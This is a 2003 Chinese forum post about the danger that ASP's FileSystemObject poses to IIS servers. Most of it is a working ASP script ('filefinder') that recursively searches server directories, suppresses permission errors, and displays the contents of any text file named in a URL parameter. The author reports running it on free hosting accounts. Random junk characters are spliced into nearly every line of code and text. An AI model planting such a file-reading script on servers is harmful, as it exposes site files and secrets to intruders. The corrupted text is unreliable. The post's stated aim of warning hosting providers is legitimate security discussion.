ASP中FSO对象对IIS WEB服务器数据安全的威胁及对策

Kiver 发布于2003-11-9 10:16 710 次浏览 1 位用户参与讨论   [复制分享主题]
+ A6 C6 m) O6 z* ]% ]# W2 o  z

+ c; q$ Q( P1 c' b$ J% L% e: P, Z; B6 U, A& D7 i5 e1 l6 H
scripting.filesystemobject 对象是由 scrrun.dll 提供的许多供 vbscript/jscript 控制的 com 对象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目录的访问,但是同时也对 iis web 服务器数据安全造成了一定的威胁。
' ^& j" I8 r0 C9 `/ v4 y" D0 U9 p* H' J1 d; y0 ~
filefinder 的代码很简单,由3 个函数和 30 行左右的顺序代码构成。0 C, v* i7 A; I2 v: H

+ P! _4 [  p+ [; o- D: m2 N1 n最关键的是 findfiles 函数,通过对它的递归调用实现对某个目录的遍历,并且按照特定的文件扩展名来搜寻这些文件。! s5 u- g) R. D2 `" i, L( q

" ?7 S& u3 h  `" f) q: \7 b/ _" b& U* F
function findfiles(strstartfolder, strext)$ l; i- L* b- s, \
0 T* `. z  b& h! E" S7 E( j$ e& u" Q& Q
dim n
" F4 ]6 y  ^. e( G, {+ L1 A+ N% z; Z8 N
dim othisfolder8 q  m! E' t( s; G) }1 s
) x6 A9 I- _0 k& x' q
dim ofolders6 Q7 o- @0 C$ X

* {+ `! E2 l+ X5 k9 i; xdim ofiles2 @* |3 J+ W1 C4 B' |
& r/ s! M* o$ h' l' k
dim ofolder
- n0 U2 ]5 M5 m* B% \& `9 v
/ F# h1 u5 C' b- idim ofile! \7 ~3 A2 z2 O* q7 |: d

' X4 h% o, s% [8 B/ K: q2 f+ ^) d$ Z' f! D* Y9 o
' 如果系统管理员对文件系统的权限进行细致的设置话,下面的代码就要出错6 @+ O2 j5 n- T  J1 a& J1 m

0 F% J  ~: o5 t' 但是有些目录还是可以察看的,所以我们简单的把错误忽略过去9 n% U) m" ~0 b# p6 |: o6 G
5 Q  Z1 P# E6 F! I+ n
on error resume next* _' x  J- M' Z, P3 X- k; W
5 d3 x5 c  p1 V
n = 0
: N8 y  T% ?; N4 M8 y! G5 j; f7 d: U1 l
response.write "<b>searching " & strstartfolder & "</b><br>"4 v" G  [9 u& W1 V
" y! Q7 e4 U- ~9 v) r5 o
set othisfolder = g_fs.getfolder(strstartfolder)/ e) U; }% Q7 X9 x* q  O
( N$ v, h& \' n8 Y* s- G  v$ B
set ofiles = othisfolder.files
( Q9 i7 W1 \" V* a7 I8 X7 |) q
3 J6 B4 z1 K% U* D  Tfor each ofile in ofiles6 {( i8 W! @* O/ \1 l* _. K

& o& p% L5 \9 x8 {- K' 如果是指定的文件扩展名,输出连接导向本身,但用不同的命令 cmd( s% a& v% {7 D* ?" f, ~; u4 Q5 V
) o2 W+ c& S8 U$ N
' 在这里是 cmd=read,即读出指定物理路径的文本文件, o; {% D9 b9 P

3 J* \/ L% g  V2 ?9 b# s3 iif issuffix(ofile.path, strext) then
" x  e6 S. }3 }/ B( H8 r0 D" I. N( v# P  l- t5 V
response.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>"8 H/ D7 a3 [: E
+ L3 ]& n( R+ k& v5 y  Q- {
if err = 0 then8 X* v3 c8 l8 L# H1 Q1 s
0 a+ _& h. B% _
n = n + 1& j* ?/ [' `! A% ?
% L# e1 i. Z3 ^" O# K% B; d$ T
end if3 u8 C% {0 Q( @+ ]: t; q

0 I9 X0 K* u) u. E* b9 d1 ?end if
$ f6 e1 @# Q2 g) n& U6 g
) }' n8 l4 l" B( K4 u7 x0 A$ _next
/ |, A4 C1 h4 u6 B* H4 k" D
' y9 B4 Q* U2 L+ \4 mset ofolders = othisfolder.subfolders9 e9 Z9 ]* ~4 _0 Y' v) t

% z2 q6 y# X9 Y! W8 ?8 H2 {for each ofolder in ofolders8 `8 g% K6 q7 L
! X; v" j8 y8 M$ L& g6 U' `# L
n = n + findfiles(ofolder.path, strext)* i4 W( ]1 k& z# }& b1 i8 D

# M" m" `- v% R* I! inext' _0 c& m5 W. f

! H) G+ Z; T& b; S. u$ s' Q( pfindfiles = n
. W0 o4 V9 n+ ~  h1 ~0 q' c$ ^1 @
end function- ~. d8 s! D! M
- ]4 X0 p2 ?* C% Y7 I# q
下面的代码是对 url 后面的参数进行分析:
5 c4 o5 `1 C) ]5 m
0 ?4 q7 z, _5 u; T& r. P
0 {  O) C- l5 {# u9 W: b7 E' 读出各个参数的值
* v+ e, R! f# _& d( l  ?" p7 D6 V
: c" m* t& ~# o' i4 dstrcmd = ucase(request.querystring("cmd"))' U& {! M& p; n$ Z0 W( C. D8 _
/ r5 F6 R3 u. X3 c
strpath = request.querystring("path")
( j) c, V! W" }" e7 t
/ p3 L" _1 v5 B7 `strext = request.querystring("ext"); r) g0 _- Q/ D2 O" w

" j# X& o# m+ o+ G/ o! A4 ~8 S+ [* ibrawdata = ucase(request.querystring("raw")), e! ~  }) |1 E3 q( \

8 u+ u! A7 t: k+ S4 t' 默认搜索 .asp 文件& l  o; |0 {) I) ^( X$ ?8 Y

1 g" S$ `" M. }' ~* h9 u, j9 P  |9 Vif strpath = "" then
- W2 |2 ?. s# Z$ C& q( _4 n3 G8 _3 p, e/ k7 a8 @
strpath = "."' b0 M+ {# s' C5 K
- C1 Y& \& M* s* U
end if
# T1 ~7 k2 ?1 D) z# Q0 ~% J: ]% K" E) b
if strext = "" then
, ]/ ]* d* P$ z5 l+ b0 m* |3 u4 B
strext = ".asp"0 b6 J7 `% Y8 U0 r1 \! H

8 r# Z) k' B2 c0 Q% q4 Q$ Dend if
2 d. F; ?7 R8 g5 ^( M9 C$ \5 T9 U$ [
( V) _" _2 f2 Q) G
' 根据不同的命令 cmd 执行不同的代码
5 H$ ~6 r9 o. D  Y- ]% U) {  {# r2 e+ d5 ~- Z+ V$ l
select case strcmd2 s. Q- d0 Z. O* h" q
4 p% [1 q$ N) r& |" B
case "find") h  s. e$ ]9 D: R3 d1 D

3 N6 ^$ o0 y$ \6 I  yresponse.write findfiles(strpath, strext) & " file(s) found"
6 Z+ k( d1 b* o
1 X' q( k+ F* s. ?7 i9 K4 c( Vcase "read"
% f$ ~" R& o9 r1 I
% `9 ~: k( A) v6 l* tif brawdata = "t" then# J1 c% Z7 K( v8 F% D
0 U+ l" [9 u- a7 K. r4 w3 H
response.write readtextfile(strpath): ?: }( o1 {2 P  n) n8 |

+ @& |$ f# @8 ?$ \2 Nelse
0 @& i  c( h$ P1 X6 P. M7 a& e3 Z4 l; A: q; F+ P
response.write "<pre>" & server.htmlencode(readtextfile(strpath)) & "</pre>"  N% Z: ]! O' q' E
, @" J4 k& h( V( \- P5 Z8 A! S
end if0 [% V4 |0 o4 m; f9 m

) P7 z1 i3 L3 C3 r$ H/ rcase else) C  C( N$ @* B- L
8 ~6 @- K1 {' L) j" G5 h) y
response.write "<h3>please specify a command to execute</h3>"
8 j& v$ `, S. \# [; C
0 V, O4 ]$ \) M- P% L3 p& C9 V. {6 {" _end select
6 @; D/ [! f2 t2 ~& b4 r9 t7 V' M# ^' i, p  m$ p
从上面的分析可以看出,如果有足够的权限的话,我们就可以通过 filefinder 来查找 iis web 服务器上的任意文本文件,并且可以轻松的察看文件内容。对于非文本文件,可以确定他们是否存在及其所在路径,这对于高级 hacker 们来说,这些信息有时是极其重要的。2 |8 @7 H+ R( \5 f! b( b3 k

9 ?! i! m/ o/ y( G" n/ L但是这些对数据安全的威胁的前提条件是执行 ff.asp 的用户至少拥有读取目录和文件的权限。由于 windows nt server 在安装后的默认安全设置是所有用户都可以“读取”目录和文件,所以不管是 iis 默认的你名用户 iusr_servername 还是别的什么用户,都可以顺列的读取目录和文件的信息。而大多数 windows nt server系统管理员主要关心系统是否能够运行的起来,一般不愿意去改动默认的目录和文件权限,毕竟那样做要冒很大的风险,而且需要很多次得经验。所以,我们可以用 filefinder 来检查作为 web 服务器的 nt server 的文件系统的安全设置是否安全。# T4 T7 n8 C6 z% a% p) \. k/ Z, y
( l; V/ x4 E  I: ~  o/ b! t
作者专门对作为 iis web 服务器的文件系统的权限进行了人工设置,但限于没有经验,导致了许多奇怪的错误现象,如:所用的做实验的 nt server 4.0 不能进行 access 数据库的连接。而在进行文件系统权限改动之前,这些功能是正常的。
- ?, n; D3 r0 Q' [+ U$ ^2 c, y/ y$ P) c5 A# b& [8 T
本着纯粹研究的目的,作者还在我所申请的免费 asp 空间上作了试验(包括 csdn 提供的我的个人主页),结果是 filefinder 都可以顺利运行。而在http://www2.domaindlx.com/index.html 申请的个人主页却没有这个问题,可见这个免费 asp 主页提供商在这方面做的还是比较认真的。尽管 domaindlx 的 web 服务器运行在 windows 2000 server 上的,其默认的文件系统的安全权限和 nt 4.0 没有很大的差别。! t4 I$ A8 s; B% u# f

- H5 ^9 m! S8 i由于作者的能力有限,就对这个问题讨论到这里。仅以此文来向国内的 asp 主页提供商提供参考意见,希望能对提供商和客户双方的数据安全都有所帮助。" b$ f/ l2 G; c# l# F1 w. W
- s+ H; @5 p! y% W% [* u
附:用其它类似的服务器端脚本来运行的 web 服务,如果也提供类似 scripting.filesystemobject 的对文件系统操作的功能,不管什么平台应该存在同样的问题。
1 B, F  V0 J# w* K4 u# t" f
' [/ C' K# I7 I" t, H
6 K: q, l6 P* K* x6 @. ~( u! h

已有(1)人评论

ufree 发表于 2004-11-8 08:12:21 | 显示全部楼层
看不懂啊
您需要登录后才可以回帖 登录 | 註冊

本版积分规则

快速
回复
返回
列表
返回
顶部